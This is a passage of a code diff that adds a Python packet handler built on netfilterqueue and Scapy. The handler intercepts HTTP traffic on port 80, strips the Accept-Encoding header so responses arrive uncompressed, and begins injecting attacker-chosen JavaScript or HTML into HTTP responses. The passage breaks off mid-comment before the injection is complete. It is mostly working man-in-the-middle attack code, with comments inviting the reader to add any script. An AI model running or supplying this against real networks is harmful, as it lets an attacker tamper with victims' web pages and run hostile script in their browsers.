+ # convert the netfilterqueue packet into Scapy packet
+ spacket = IP(packet.get_payload())
+ if spacket.haslayer(Raw) and spacket.haslayer(TCP):
+ if spacket[TCP].dport == 80:
+ # HTTP request
+ print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}")
+ try:
+ load = spacket[Raw].load.decode()
+ except Exception as e:
+ # raw data cannot be decoded, apparently not HTML
+ # forward the packet exit the function
+ packet.accept()
+ return
+ # remove Accept-Encoding header from the HTTP request
+ new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load)
+ # set the new data
+ spacket[Raw].load = new_load
+ # set IP length header, checksums of IP and TCP to None
+ # so Scapy will re-calculate them automatically
+ spacket[IP].len = None
+ spacket[IP].chksum = None
+ spacket[TCP].chksum = None
+ # set the modified Scapy packet back to the netfilterqueue packet
+ packet.set_payload(bytes(spacket))
+ if spacket[TCP].sport == 80:
+ # HTTP response
+ print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}")
+ try:
+ load = spacket[Raw].load.decode()
+ except:
+ packet.accept()
+ return
+ # if you want to debug and see the HTML data
+ # print("Load:", load)
+ # Javascript code to add, feel free to add any Javascript code
+ added_text = ""
+ # or you can add HTML as well!
+ # added_text = "HTML Injected successfully!
"
+ # calculate the length in bytes, each character corresponds to a byte
+ added_text_length = len(added_text)
+ # replace the